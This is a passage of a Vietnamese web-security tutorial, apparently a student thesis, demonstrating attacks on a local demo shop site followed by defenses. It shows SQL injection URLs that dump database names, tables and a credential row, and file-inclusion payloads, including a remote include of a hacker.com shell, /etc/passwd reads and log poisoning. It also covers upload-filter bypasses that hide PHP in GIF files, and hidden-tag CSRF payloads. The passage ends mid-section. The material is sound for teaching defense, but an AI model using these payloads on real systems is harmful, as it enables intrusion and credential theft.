Ta tiếp tục dùng union để lấy thông tin từ database

http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+selec

t+all+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

Kết quả của url trên sẽ trả về kết quả từ 1 đến 18 tương ứng với các cột trong

CSDL Ta thấy trên trình duyệt xuất hiện những số nào thì đó chính là những cột mà

php in ra trình duyệt. Mục đích là để ta sẽ lấy các thông tin và kết quả đạt vào vị trí



http://localhost/demo/sqli/getdata/detail.php?idpro=39+or+1=1

http://localhost/demo/sqli/getdata/detail.php?idpro=39+order+by+1

http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+select+all+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+select+all+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18



thích hợp trong union. Ở ví dụ này có các cột là 2, 3, 5, 16, 17 được in ra trình duyệt.

Ta tiếp tục như sau:


t+all+1,concat(@@version,0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,

15,16,17,18

Kết quả có được là 5.5.8-log:root@localhost:shopping

Vậy version của mysql là 5.5.8-log và user kết nối đến mysql là root, tên

database là shopping.

Giờ ta đã có tên database, ta truy vấn vào bảng information_schema để lấy

thông tin về tên các bảng và các cột trong database.


t+all+1,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_

schema.tables+where+table_schema=’shopping’

Ta có thể thay shopping bằng mã char của nó là: CHAR(115, 104, 111, 112,

112, 105, 110, 103).

Ta sẽ có tên của bảng thứ nhất trong databse, ta tiếp tục thêm vào limit 1,1 – 2,1

.. đến khi không còn thông tin được in ra trình duyệt nữa, các thông tin ta đã có được

chính là tên các bảng trong database. Chọn lấy 1 bảng mà ta quan tâm, ví dụ ta chọn

được 1 bảng là tbl_dangnhap, ta sẽ xem tên các cột trong bảng này bằng cách sau:


t+all+1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+informatio

n_schema.columns+where+table_name=’tbl_dangnhap’+limit+0,1

Tăng dần limit lên 1,1-2,1 … cho đến khi lấy được hết tên các cột trong bảng

tbl_dangnhap. Ta thu được 2 cột như sau: username và pass

Giờ sẽ là bước lấy thông tin của 2 cột username và pass trong bảng

tbl_dangnhap:


t+all+1,concat(username,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+tb

l_dangnhap+limit+0,1

Ta thu được thông tin từ dòng đầu tiên trong bảng tbl_dangnhap:

ACEAnGeL:5dcc21446e7ba2062773a69b48e84bdd Tương ứng là username: ACEAnGeL

và pass: 5dcc21446e7ba2062773a69b48e84bdd là password đã được mã hóa.

Tuơng tự như vậy ta có thể lấy thông tin từ bất kì bảng nào trong database

shopping mà ta quan tâm.

http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+select+all+1,concat(@@version,0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18



http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+select+all+1,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where+table_schema='shopping



http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+select+all+1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.columns+where+table_name='tbl_dangnhap'+limit+0,1



http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+select+all+1,concat(username,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+tbl_dangnhap+limit+0,1





c. Sử dụng Load_file

Mysql có 1 số hàm để xử lý file như Load_file, Load data infile, … Ta sẽ tìm

hiểu cách dùng hàm load_file để tấn công ứng dụng thông qua lỗi SQL Injection.

Hàm Load_file dùng để đọc nội dung 1 file. Điều kiện để sử dụng hàm

Load_file đó là file muốn load phải tồn tại, đường dẫn đến file phải là đường dẫn đầy

đủ, user gọi hàm load_file phải có quyền đọc file cần load.

Ví dụ:

http://localhost/doantotnghiep/demo/sqli/getdata/detail.php?idpro=39+AND+1=

0+union+select+all+1,2,load_file%28%22C:/wamp/www/doantotnghiep/demo/sqli/get

data/test.txt%22%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

Với URL trên ta đã có thể đọc được nội dung của file test.txt, nếu có thể lần ra

đường dẫn của các file quan trọng như config.php hay những file chứa thông tin nhạy cảm.


Trong hầu hết trình duyệt, những ký tự nên được mã hóa trên URL trước khi

được sử dụng.

Nên cân nhắc trong việc có cho phép thực thi đa quy vấn đến CSDL hay

không, bởi vì nếu thực thi đa truy vấn thì nguy hại không chỉ là bị mất thông tin trong

CSDL mà hacker còn có thể tiến hành update, insert, addnew thậm chí là drop nếu tài

khoản kết nối là tài khoản root.

Việc tấn công SQL Injection bằng cách dựa vào những thông báo lỗi do đó

việc phòng chống hay nhất vẫn là không hiển thị những thông báo lỗi đó bằng cách

thay thế các trang báo lỗi bằng 1 trang do người phát triển tự thiết kế hoặc tắt việc hiển

thị thông báo lỗi

Kiểm tra kỹ giá trị nhập vào của người dùng, thay thế những ký tự như ‘ ; # …

Loại bỏ các kỹ tự meta như “ ‘, “, / , \ , ; “ và các kỹ tự extend như NULL,

CR, LF,… trong các string nhận được từ: dữ liệu người dùng nhập vào, tham số URL,

các giá trị cookie,...

Chuyển các giá trị số về kiểu integer trước khi thực hiện truy vấn CSDL hoặc

dùng các hàm kiểm tra để chắc chắn nó là một số.

Dùng các thuật toán để mã hóa dữ liệu như dùng hàm addslashes() hoặc

mysql_real_escape_string để đưa chuỗi truy vấn về dạng cú pháp đúng của sql.

Đối với cách tấn công dùng hàm load_file, ta cần bỏ chế độ FILE privilege

của user và bỏ quyền đọc file đối với nhóm group và world.

4. File include

4.1. Khái niệm file include

http://localhost/doantotnghiep/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+select+all+1,2,load_file%28%22C:/wamp/www/doantotnghiep/demo/sqli/getdata/test.txt%22%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18





Khi người lập trình 1 website sử dụng các lệnh xử lý file như include, require,

readfile,… với tham số truyền vào là biến động nhưng không được kiểm soát chặt chẽ

để hacker có thể thay đổi file cần gọi đến không như mong muốn của người lập trình

thì website đang đứng trước nguy cơ bị tấn công file inclusion (file include).

Dựa vào mức độ bảo mật của webserver, hacker có thể gọi đến file trên server

hay được gọi là Local file inclusion (LFI) hoặc gọi đến 1 file trên server khác hay

được gọi là Remote file inclusion (RFI).

Và điều kiện rất quan trọng là các hàm register_globals, allow_url_include,

allow_url_fopen phải được set giá trị ON trên webserver.

Khi register_globals được set là ON thì các biến được truyền từ url được xem

như là biến toàn cục.

Những hàm của ngôn ngữ lập trình PHP có khả năng gây lỗi này là: include(),

include_once(), require(), require_once(), fopen(), readfile(), …


Ta xét code 1 trang như sau:

<?php

if(isset($_GET['page'])){

$page = $_GET['page'];

include($page);

}

?>

Nếu tồn tại biến page được truyền trên url theo phương thức get thì sẽ thực hiện

include file $page.

a. Remote Include

Nếu webserver được cấu hình allow_url_open=On và allow_url_include = On

thì có thể thực hiện gộp file từ xa và trong nội dung file từ xa này có thể chứa các mã

độc. Ví dụ:

http://localhost/demo/fileinclude/fileinclude.php?page=http://www.hacker.com/shell.tx

t

b. Local Include

Nếu allow_url_open=Off thì không thể khai thác thông qua url từ xa, lúc này

khai thác sẽ dựa trên local file inclusion. Khai thác local file cho phép chúng ta đọc

các file nhạy cảm trên server, ví dụ như là /etc/passwd, /etc/group, httpd.conf,

.htaccess, .htpasswd hoặc bất kỳ file cấu hình quan trọng nào nếu chúng không được

bảo vệ.

http://localhost/demo/fileinclude/fileinclude.php?page=http://www.hacker.com/shell.txt

http://localhost/demo/fileinclude/fileinclude.php?page=http://www.hacker.com/shell.txt



Ví dụ:

http://localhost/demo/fileinclude/fileinclude.php?page=/etc/passwd

Ví dụ như có được thông tin từ /etc/passwd, kẻ tấn công có thể biết được các

username có trên server và thực hiện bruteforce, nếu kẻ tấn công có khả năng truy cập

shadow thì nguy hiểm hơn nhưng /etc/shadow thì chỉ có root mới có khả năng truy cập

và đọc được file này.

Ví dụ một số file nhạy cảm mà kẻ tấn công luôn muốn truy cập: httpd.conf:

Thực hiện đọc file này để có được thông tin về error_log, access_log, ServerName,

DocumentRoot, … .htaccess và .htpasswd: Giả sử có một thư mục admin được bảo

vệ bởi htaccess thì chúng ta không thể truy cập được các file .htaccess và .htpasswd

trực tiếp, nhưng nếu bị lỗi local file inclusion thì có thể đọc và có được thông tin về

username và password được thiết đặt ở trong những file này

- Khai thác cục bộ

Giả sử có nhiều website trên một server, nếu như site example1.com bị lỗi local

file inclusion. Kẻ tấn công ở vị trí là website với domain là example2.com cũng cùng

một server với example1.com thì có thể khai thác site example1.com này thông qua

như sau:

http://www.example1.com/fileinclude.php?page=http://www.example1.com/ind

ex.php?page=/home/example2/public_html/mages/file.txt

- Khai thác sử dụng Null Byte

Ta cùng xét thêm 1 ví dụ nữa:

Ta có đoạn code như sau:

<?php

if(isset($_GET['page'])){

$page = $_GET['page'];

include($page.’.php’);

}

?>

Vậy với cách tấn công trên nếu ta nhập $page=file.txt thì câu lệnh include sẽ là:

include(“file.txt.php”);

Vậy để xử lý trong trường hợp này, ta sẽ sử dụng Null byte để thoát chuỗi. Ta

nhập như sau: $page=file.txt%00

Với biến page trên lệnh include trở thành : include(“file.txt%00.php”);. Php

quy định %00 là kết thúc chuỗi nên nó sẽ bỏ qua đuôi .php và lệnh include được thực

thi như bình thường.

http://localhost/demo/fileinclude/fileinclude.php?page=/etc/passwd

http://www.example1.com/fileinclude.php?page=http://www.example1.com/index.php?page=/home/example2/public_html/mages/file.txt

http://www.example1.com/fileinclude.php?page=http://www.example1.com/index.php?page=/home/example2/public_html/mages/file.txt



Muốn sử dụng được Null byte thì php phải cấu hình Magic_quote = on, nếu

magic_quote = off thì Null byte sẽ bị vô hiệu hóa.

- Khai thác kết hợp upload file ảnh

Nếu ứng dụng cho phép upload file ảnh lên hệ thống thì ta có thế kết hợp với lỗi

file include để upload và thực thi những đoạn mã độc lên hệ thống bằng cách sau:

+ Xác định loại file mà ứng dụng cho phép upload, ví dụ là file *.gif.

+ Ta tạo 1 ảnh test.gif định dạng gif sau đó mở file test.gif = notepad, thêm

đoạn mã độc vào cuối file, hoặc sử dụng 1 số công cụ để thêm mã độc vào phần

comment của ảnh(ví dụ như tool jhead) Trong ví dụ này ta thêm như sau: <?php echo

phpinfo(); ?>.

+ Sau đó upload file ảnh vừa tạo lên hệ thống.

+ Xác định đường dẫn của file vừa upload rồi và thực hiện include.

http://localhost/demo/fileinclude/fileinclude.php?page=test.gif

Đoạn mã độc trong file vừa upload lên sẽ được thực thi.

- Khai thác dựa vào file log

Khi hệ thống thông báo lỗi, chi tiết các lỗi sẽ được lưu vào error_log của

apache. Và file log này cũng có thể được gọi thông qua lỗi file include.

Nếu ta nhập biến page trên Url như sau:

http://localhost/demo/fileinclude/fileinclude.php?page=<?php echo phpinfo();?>

Trình duyệt thông báo lỗi bởi vì page <?php echo phpinfo(); ?> không tồn tại, nhưng

thông tin về lỗi này đã được lưu vào file log như sau:

127.0.0.1 - - [28/Apr/2011:20:25:51 +0700] "GET

/demo/fileinclude/fileinclude.php?page=%3C?%20echo%20phpinfo();%20?%3E

HTTP/1.1" 200 2223

Như vậy trong file log, url do ta đệ trình đã bị mã hóa, vậy để file log lưu lại lệnh php

nguyên gốc, ta cần gửi request đến server bằng đoạn code sau:

<?php

$res = '';

$fp = fsockopen('127.0.0.1', 80);

if(!$fp){

echo "No connection";

}

fputs($fp, "GET /demo/fileinclude/fileinclude.php?page=<?php echo

phpinfo();?> HTTP/1.1\r\n");

fputs($fp, "Host: 127.0.0.1\r\n\r\n");

http://localhost/demo/fileinclude/fileinclude.php?page=test.gif

http://localhost/demo/fileinclude/fileinclude.php?page=%3c?php%20echo%20phpinfo()



while(!feof($fp)){

$res .= fgets($fp, 128);

}

echo $res;

?>

Với đoạn code trên, ta đã gửi đến server một request và file log sẽ ghi lại lỗi

nhưng không bị mã hóa do ta không đệ trình trên URL. File log sẽ lưu lại như sau:

127.0.0.1 - - [02/May/2011:09:56:56 +0700] "GET

/demo/fileinclude/fileinclude.php?page=<?php echo phpinfo();?> HTTP/1.1" 200 2185

Và giờ ta include file log, đoạn mã php sẽ được thực thi:

http://localhost/demo/fileinclude/fileinclude.php?page=C:/wamp/logs/access.log

- Khai thác sử dụng Php filter

Trong trường hợp cấu hình magic_quote = on thì null-byte bị vô hiệu hóa. Vậy

ta có 1 cách để ta có thể đọc được nội dung các file bằng cách dùng công cụ filter của

php là php://filter để đọc nội dung file sau đó mã hóa nội dung file theo dạng encoded

base64. Khi nhận được nội dung này ta decode base64 và nhận lại được nội dung gốc

của file.

Ví dụ ta nhập biến page như sau:

http://localhost/demo/fileinclude/fileinclude.php?page=php://filter/read=conv

ert.base64-encode/resource=test

Câu lệnh include trở thành: include(php://filter/read=convert.base64-

encode/resource=test.php)

Kết quả nhận được :

PD9waHANCmVjaG8gIkZpbGUgaW5jbHVkZSI7DQo/Pg==

Sau khi decode-base64 ta nhận được nội dung file gốc :

<?php

echo "File include";

?>


Với trường hợp hacker sử dụng NULL Byte (%00 ) để thoát chuỗi nếu như biến

page được gán thêm đuôi đằng sau thì ta set magic_quote = ON nó sẽ vô hiệu hóa

NULL byte.

SET chức năng của các hàm: register_global = OFF, allow_url_fopen = OFF,

http://localhost/demo/fileinclude/fileinclude.php?page=C:/wamp/logs/access.log

http://localhost/demo/fileinclude/fileinclude.php?page=php://filter/read=convert.base64-encode/resource=test

http://localhost/demo/fileinclude/fileinclude.php?page=php://filter/read=convert.base64-encode/resource=test



safe_mode = ON, display_error = OFF.

Đặt quyền cho các thư mục hợp lý

Lập trình an toàn, bắt lỗi chặt chẽ, tránh đưa biến vào hàm include, khi sử dụng

biến phải khai báo, sử dụng đường dẫn tuyệt đối thay vì tương đối.

5. Upload file

5.1. Khái niệm

Một số ứng dụng cho phép người dùng upload file lên hệ thống, thường là file

hình như jpg, png, gif,…. Trong quá trình xây dựng ứng dụng, người lập trình có thể

sử dụng javascript hoặc php để kiểm tra đảm bảo dữ liệu up lên hệ thống nằm trong

danh sách những loại file mà người lập trình quy định, nguy hiểm hơn nữa là người lập

trình ko hề để ý tới dạng của file thì ứng dụng đang đứng trước nguy cơ bị tấn công

bằng kỹ thuật upload file.


Ta xét một kịch bản upload file gồm một trang upload.html và một trang

upload.php

Trang upload.html có mã nguồn như sau:

<html xmlns=”http://www.w3.org/1999/xhtml”>

<head>

<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8”/>

<title>Demo hack upload file</title>

</head>

<body>

<form name=”upload” action=”upload.php” method=”POST”

ENCTYPE=”multipart/form-data” onSubmit=”return chkFileExtension()”>

Select the file to upload: <input type=”file” name=”userfile”>

<input type=”submit” name=”upload” value=”upload”>

</form>

</body>

</html>

Và trang xử lý upload là upload.php có mã nguồn như sau:

<?php

$uploaddir = ‘uploads/’;

$uploadfile = $uploaddir . basename($_FILES[‘userfile’][‘name’]);

if (move_uploaded_file($_FILES[‘userfile’][‘tmp_name’], $uploadfile)) {

echo “File was successfully uploaded.\n”;

} else {



echo “File uploading failed.\n”;

}

?>

Kịch bản trên cho phép người dùng upload file lên server, ta cùng nghiên cứu

các phương pháp kiểm tra file upload.

a. Vượt qua kiểm tra ngôn ngữ trình khách

Ta thêm vào <head></head> của trang upload.html đang xét đoạn code

javarscript sau:

<script language=javascript>

function chkFileExtension()

{

var str=document.upload.userfile.value;

var ext=str.substring(str.length,str.length-3);

if ( ext != “gif”)

{ alert(“File is invalid”);

return false;

}

else

{ return true;

};

}

</script>

Đoạn script trên có chức năng kiểm tra 3 ký tự cuối cùng của tên file, nếu khác

gif thì ko cho phép upload

Nhưng với cách kiểm tra bằng ngôn ngữ trình khách như vậy có thể bị vượt qua

một cách dễ dàng bằng cách dùng các tool proxy để thay đổi nội dùng truyền đến trình

chủ, hoặc tải mã nguồn file upload.html về máy và bỏ đi đoạn kiểm tra bằng

javarscript trên, ta có thể upload được bất cứ loại file gì ta muốn

b. Vượt qua kiểm tra Content-Type

Ta thêm vào file upload.php đoạn script kiểm tra định dạng file up load như sau:

if($_FILES[‘userfile’][‘type’] != “image/gif”) {

echo “Sorry, we only allow uploading GIF images”;

exit;

}

Với cách kiểm tra định dang file như trên, có vẻ như đã an toàn hơn một chút

nhưng ta có thể vượt qua bằng cách sau:



Khi ta upload một file test.php, nhấn nút upload dữ liệu được truyền lên trình

chủ có dạng như sau:

-----------------------------87532403332029\r\nContent-Disposition: form-data;

name=”userfile”; filename=”test.php”\r\nContent-Type: application/octet-

stream\r\n\r\n<?php\r\necho “File include”;\r\n?>\r\n-----------------------------

87532403332029\r\nContent-Disposition: form-data;

name=”upload”\r\n\r\nupload\r\n-----------------------------87532403332029--\r\n

Ta hãy để ý đến đoạn in đậm: Content-Type: application/octet-stream. Vì ta

đã kiểm tra Content-Type này bằng lệnh $_FILES[‘userfile’][‘type’]. Chỉ chấp nhận

Content-Type là image/gif , vậy việc ta cần làm chỉ là thay đổi lại giá trị của trường

Content-Type này thành image/gif bằng một tool proxy cho phép thay đổi dữ liệu

trước khi gửi lên trình chủ như tempdata.

c. Vượt qua kiểm tra MINE

Ta thêm vào file upload.php đoạn script kiểm tra định dạng file upload như sau:

$imageinfo = getimagesize($_FILES[‘userfile’][‘tmp_name’]);

if($imageinfo[‘mime’] != ‘image/gif’ && $imageinfo[‘mime’] !=

‘image/jpeg’) {

echo “Sorry, we only accept GIF and JPEG images\n”;

exit;

}

Với đoạn script trên, người lập trình kiểm tra định dạng của file upload trong

nội dung file, Vậy với cách làm như phần trước, ta sẽ thất bại.

Cách để vượt qua script này như sau:

Tạo một file gif thực sự bằng paint hoặc 1 phần mềm tạo ảnh, ví dụ : test.gif.

Mở file vừa tạo bằng notepad, Dữ liệu trong file test.gif này sẽ có dạng như sau:

GIF89a`_È_÷ € € €€ €€ € €€€€€ÀÀÀÿ ÿ ÿÿ ÿÿ ÿ ÿÿÿÿÿ …..

Ta thêm đoạn mã muốn chèn vào cuối file test.gif và save lại thành file test.php

Hoặc ta lưu file test.gif lại thành test.php và trên quá trình truyền đến server ta

thêm vào phần cuối dữ liệu của file đoạn mã độc.

Sau đó khi upload ta đổi Content-Type thành Content-Type=”image/gif” như

phần trước.

c. Vượt qua kiểm tra phần mở rộng

Từ những ví dụ trước ta đã thấy được sự nguy hiểm nếu bị upload những file

php lên hệ thống, điều đó giup hacker thực thi được những đoạn mã độc nằm trong



file. Vậy để đảm bảo an toàn hơn trong trường hợp này, ta sẽ kiểm tra phần mở rộng

của file và loại bỏ những file có phần mở rộng như .php, .phtml,.php3,.php4. Để làm

điều đó ta sử dụng script sau:

$blacklist = array(“.php”, “.phtml”,”.php3”,”.php4”);

foreach ($blacklist as $item) {

if(preg_match(“/$item\$/i”, $_FILES[‘userfile’][‘name’])) {

echo “We do not allow uploading PHP files\n”;

exit;

}

}

Với script này ta đã chống không cho hacker upload những file có phần mở

rộng có thể thực thi mã độc trên hệ thống. Nhưng ta có thể vượt qua script này để

upload 1 file có chứa mã độc lên hệ thống bằng cách như phần b (kiểm tra định dạng

file trong nội dung file) nhưng không đổi tên file mà giữ nguyên là test.gif

Nếu ứng dụng có lỗ hổng file include ta có thể include file test.gif đã upload, và

đoạn mã độc được thực thi


Qua những ví dụ trên ta đã có thể rút ra được cách bảo vệ ứng dụng trong hình

thức tấn công qua upload file này như sau:

Kết hợp các hình thức kiểm tra định dạng file đã xét ở trên, quan trọng nhất là

hình thức kiểm tra phần mở rộng của file.

Fix lỗ hổng file include trên ứng dụng.

Đổi tên file sau khi upload vì muốn thực thi file vừa upload cần phải biết tên

chính xác của file.

Không cho phép truy cập trực tiếp đến thư mục chứa các file upload, không cho

phép thực thi mã php trong thư mục chứa file up load bằng cách tạo file .htaccess với

lệnh php_admin_flag engine off sau đó chmod 444.

6. Yêu cầu giả mạo (Cross-Site Request Fogery)

6.1. Khái niệm

Cross-site Request Forgery (CSRF) là kỹ thuật tấn công “mượn tay” một người

dùng đang trong phiên làm việc thực hiện những hành động mà người dùng không

mong muốn trong quyền hạn của người dùng đó. Ví dụ như người dùng có chức năng

delete bài viết của mình trên website, để làm việc đó người dùng trong phiên làm việc

của mình phải gửi 1 request lên server. Hacker không thể thực hiện quyền hạn đó, vậy

hacker sẽ dụ người dùng thực hiện hành động mà không hề hay biết.



CSRF xuất hiện từ những năm 1990, tuy nhiên các cuộc tấn công này xuất phát

từ chính IP của người sử dụng nên log file của các website không cho thấy các dấu hiệu

của CFRS. Các cuộc tấn công theo kĩ thuật CSRF không được báo cáo đầy đủ, đến năm

2007 mới có một vài tài liệu miêu tả chi tiết về các trường hợp tấn công CSRF.

Vì CSRF là kỹ thuật tấn công mà hacker mượn tay chính người dùng hợp lệ của

ứng dụng để thực hiện những hành động phá hoại nên mức độ nguy hiểm của nó rất

nghiêm trọng và khó phát hiện nếu ứng dụng không có cơ chế để xác thực và phát hiện

những yêu cầu giả mạo này. Sau đây ta cùng nghiên cứu 1 vài phương pháp thực hiện

tấn công ứng dụng bằng kỹ thuật CSRF.


a. Tấn công qua tham số URL

Ta xét một kịch bản sau:

Ứng dụng cho phép người dùng thực hiện delele bài viết và tham số được

truyền theo phương thức GET: Ví dụ như sau:

http://www.test.com/delete.php?id=1234

Trang delele.php có nhiệm vụ delete bài viết với id = 1234. Ta cũng là một

người dùng của ứng dụng, nắm được cơ chế này, ta sẽ thực hiện kỹ thuật CSRF để dụ

một người dùng khác thực hiện delete bài viết của họ, ta làm như sau:

Tạo một thông điệp, hoặc email có chứa đoạn code:

<img height=0” width=”0” src=”http://www.test.com/delete.php?id=1234”/>

Đoạn mã trên được che giấu rất kỹ bởi vì thẻ img ta sử dụng có kích thước 0x0

nên người dùng sẽ không thể thấy được. Khi người dùng đọc thông điệp này, url ta

chèn trong thẻ img sẽ được thực thi và người dùng đó đang ở trong phiên làm việc thì

hành động delete bài viết với id = 1234 sẽ được thực thi một cách hoàn toàn hợp lệ.

Các thẻ khác có thể sử dụng trong kỹ thuật này là:

<iframe height=”0” width=”0”

src=”http://www.test.com/delete.php?id=1234"/>

<link ref="stylesheet" href="http://www.test.com/delete.php?id=1234"

type="text/css"/>

<bgsound src="http://www.test.com/delete.php?id=1234"/>

<background src="http://www.test.com/delete.php?id=1234"/>

<script type="text/javascript" src="http://www.test.com/delete.php?id=1234"/>

b. Tấn công qua dữ liệu form

Ta xét 1 kịch bản ứng dụng cho phép người dùng thay đổi password bao gồm

các file changepass.html, crsf.php với mã nguồn như sau:










Changepass.html

<form action="http://localhost/doantotnghiep/demo/crsf/crsf.php"

method="post" name="changpass">

<table width="100%" border="1">

<tr>

<td colspan="2"><div align="center">Change Your Password </div></td>

</tr>

<tr>

<td>New Password: </td>

<td><input name="newpass" type="text" id="newpass"></td>

</tr>

<tr>

<td>Confirm New Pass: </td>

<td><input name="renewpass" type="text" id="renewpass"></td>

<input type="hidden" name="forward"

value="http://localhost/doantotnghiep/demo/crsf/susscess.php">

</tr>

<tr>

<td colspan="2"><div align="center">

<input name="change" type="submit" id="change" value="Change Pass">

<input type="reset" name="Submit2" value="Reset">

</div></td>

</tr>

<tr>

<td> </td>

<td> </td>

</tr>

</table>

Csrf.php

<?php

if(!isset($_POST['change'])){

include('changepass.html');

}else{

$newpass = $_POST['newpass'];

$renewpass = $_POST['renewpass'];

$forward = $_POST['forward'];

unset($_SESSION['token']);

$newpass = mysql_real_escape_string($newpass);

$renewpass = mysql_real_escape_string($renewpass);



// Khoi lenh doi mat khau

header("location:".$forward."?newpass=".$newpass);

}

?>

Kịch bản trên cho phép người dùng thay đổi password bằng cách nhập

password mới vào hai ô textbox là newpass và renewpass rồi nhấn submit, nếu người

dùng đang trong phiên làm việc của mình password sẽ được thay đổi mà không qua

một bước chứng thực nào khác, password thay đổi thành công sẽ tự chuyển sang trang

susscess.php với đường link chỉ định trong thẻ input forword.

Nắm được cơ chế này, ta tạo 1 form giả mạo đăng nhập mail.yahoo.com với

action form trỏ đến http://localhost/demo/crsf/crsf.php với hai thẻ input với thuộc tính

hiden là newpass và renewpass, giá trị của hai thẻ input này được ta gán sẵn giá trị là

democrsf

<input type="hidden" name="newpass" id="aad" value="democrsf">

<input type="hidden" name="renewpass" id="aad"value="democrsf">

và 1 thẻ input forword với thuộc tính hiden và giá trị là http://mail.yahoo.com.

<input type="hidden" name="forward" value="http://mail.yahoo.com">

Ta gửi đến một người dùng đang trong phiên làm việc hợp lệ của hệ thống một

thông điệp hoặc một email có chứa đường link đến form giả mạo của ta, người dùng

mắc lừa đăng nhập email, khi nhấn submit đã thực hiện thao tác thay đổi password mà

không hề hay biết.


Vì kỹ thuật CSRF này là lừa người sử dụng hợp lệ của ứng dụng thực thi những

hành động trong quyền hạn của họ, nên các kỹ thuật phòng chống sẽ tập trung vào

cách để xác thực các yêu cầu từ người dùng có phải là giả mạo hay không.

Để thực hiện việc đó ta có một số cách như sau:

- Hạn chế thời gian hiệu lực của session: điều này cũng chỉ hạn chế được khi

phiên làm việc của người dùng hết hiệu lực mà thôi, nếu người dùng vẫn đang trong

phiên làm việc thì không có tác dụng gì cả.

- Sử dụng GET và POST một cách hợp lý. Điều này cũng chỉ hạn chế được

phần nào vì nếu sử dụng POST hacker vẫn có thể thực hiện tấn công dựa trên những

form giả mạo hay những request giả mạo.

- Sử dụng hình ảnh xác nhận (captcha) hay sử dụng các bước xác nhận hành

động như hiển thị thông báo có chấp nhận thực thi hành động đó hay không: Điều này

khá hiệu quả nhưng nó gây cho người dùng những phiền phức nhất định.

- Sử dụng mã xác thực một lần (token): phương pháp này là cách tạo ra một

http://localhost/demo/crsf/crsf.php

http://mail.yahoo.com/



token duy nhất ứng với mỗi hành động, và token này thay đổi liên tục mỗi khi ứng

dụng được load. Hacker rất khó để chiếm được token này và nếu có chiếm được cũng

rất khó để sử dụng vì nó thay đổi liên tục trong phiên làm việc. Sẽ hiệu quả hơn nếu ta

thiết lập một thời gian tồn tại nhất định cho mỗi token.

7. Chiếm hữu phiên làm việc

7.1. Tổng quan về sessionID

Session dùng để lưu trữ trạng thái làm việc giữa trình duyệt và trình chủ,

session ID có thể được lưu trong cookie, truyền trên url hoặc lưu trong biến ẩn form.

Mỗi kiểu lưu trữ đều có ưu điểm và khuyết điểm riêng, nhưng cookie vẫn là

phương pháp an toàn và là lựa chọn tốt nhất để lưu trữ session ID.

Khi người dùng đã được chứng thực dựa trên username và password thì session

ID được xem như 1 mật khẩu tĩnh tạm thời để xác thực trong những yêu cầu tiếp theo.

Điều này khiến cho session ID là một mục tiêu rất lớn của hacker. Từ việc giành được

session ID của nạn nhân, hacker có thể đột nhập vào hệ thống bằng bằng chính phiên

làm việc của nạn nhân.

XSS cũng là một cách tấn công để chiếm được session ID được lưu trữ trong

cookie, cách tấn công này được gọi là “Session hijacking”.

Session hijacking được chia làm hai loại:

Ấn định phiên làm việc.

Đánh cắp phiên làm việc.

Ấn định phiên làm việc

Kiểu tấn công này là hacker định sẵn session ID cho nạn nhân trước khi họ

đăng nhập. Sau đó hacker sử dụng session ID này để đột nhập vào hệ thống bằng phiên

làm việc của nạn nhân

Cách tấn công này đòi hỏi cơ chế của ứng dụng là tạo session ID ngay khi

người dùng sử dụng ứng dụng, nên cách này không khả quan lắm và dễ bị người dùng

phát hiện.

Đánh cắp phiên làm việc: Khác với kiểu tấn công ấn định phiên làm việc, ở

cách tấn công này hacker sẽ đánh cắp session ID của người dùng khi họ đang ở trong

phiên làm việc của mình. Có một số cách để thực hiện điều này:

Dự đoán phiên làm việc.

Vét cạn phiên làm việc.

Dùng mã để đánh cắp phiên làm việc.

7.2. Ấn định phiên làm việc

Phương pháp này hacker ấn định sẵn session ID cho nạn nhân trước khi họ đăng

nhập vào hệ thống. Sau đó hacker sử dụng chính session ID này để đột nhập vào phiên



làm việc của nạn nhân. Quá trình tấn công như sau:

- Bước 1: Thiết lập session ID

Hệ thống quản lý session ID theo 2 cách:

Hướng tự do (chấp nhận bất kì một session ID nào, nếu chưa có thì tạo mới

session ID).

Hướng giới hạn: chỉ chấp nhận session ID đã được đăng kí từ trước

Với hệ thống hướng tự do thì hacker chỉ cần thiết lập một session ID bất kì, nhớ

và sau đó sử dụng lại session ID này. Ở hệ thống hướng giới hạn thì hacker phải đăng

kí một session ID với ứng dụng.

Phụ thuộc vào quy trình quản lý phiên làm việc mà hacker lưu trữ thời gian

sống của phiên làm việc cho đến khi nạn nhân đăng nhập hệ thống. Thông thường 1

phiên làm việc không tồn tại vô hạn định. Hệ thống sẽ tự động hủy bỏ phiên làm việc

nếu nó không thực hiện một thao tác nào hoặc hết hạn định.

Do đó bước tiếp theo là hacker sẽ bảo trì phiên làm việc bằng cách gửi yêu cầu

đến server.

- Bước 2: Gửi session ID đến trình duyệt nạn nhân: Hacker gửi session ID đã

tạo đến người dùng và việc trao đổi session ID này còn tùy thuộc vào ứng dụng mà có

thể qua URL, biến ẩn form hay cookie. Các cách tấn công thông dụng gồm:

Tấn công session ID qua URL.

Tấn công session ID qua biến ẩn form.

Tấn công session ID qua cookie.

- Bước 3: Đột nhập vào phiên làm việc của nạn nhân: Sau khi nạn nhân đăng

nhập vào hệ thống qua session ID đã được chỉ định sẵn và chưa thoát khỏi ứng dụng,

hacker lúc này bắt đầu dùng session ID đó để bước vào phiên làm việc của nạn nhân.

a. Tấn công trên tham số URL

